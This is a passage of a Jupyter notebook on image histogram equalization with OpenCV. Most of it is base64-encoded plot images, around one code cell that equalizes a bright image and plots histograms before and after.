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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "import cv2 \n", - "import numpy as np\n", - "import matplotlib.pyplot as plt\n", - "\n", - "imgB = cv2.imread('brightImage.png', 0)\n", - "\n", - "hist1 = cv2.calcHist([img], [0], None, [256], [0,256])\n", - "\n", - "# Create new histogram after equalizer \n", - "\n", - "equalizedImage1 = cv2.equalizeHist(imgB);\n", - "\n", - "equalizedHist1 = cv2.calcHist([equalizedImage1], [0], None, [256], [0, 256]) \n", - "\n", - "#plotting\n", - "plt.subplot(221), plt.plot(hist1)\n", - "plt.subplot(222), plt.plot(equalizedHist1)\n", - "plt.subplot(223), plt.imshow(cv2.cvtColor(imgB, cv2.COLOR_BGR2RGB))\n", - "plt.subplot(224), plt.imshow(cv2.cvtColor(equalizedImage1, cv2.COLOR_BGR2RGB))\n", - "\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "id": "3e8d4d39", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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